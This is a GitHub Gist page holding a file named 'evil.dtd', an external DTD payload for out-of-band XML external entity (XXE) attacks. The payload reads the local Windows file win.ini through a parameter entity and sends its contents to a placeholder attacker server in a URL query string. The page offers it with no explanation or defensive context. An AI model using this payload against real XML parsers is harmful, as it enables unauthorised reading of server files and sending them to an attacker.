Skip to content

Instantly share code, notes, and snippets.

@T-Of-Me
T-Of-Me / evil.dtd
Last active December 24, 2025 08:09
<!ENTITY % file SYSTEM "file:///c:/windows/win.ini">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://SERVER_CUA_BAN/?data=%file;'>">
%eval;
%exfil;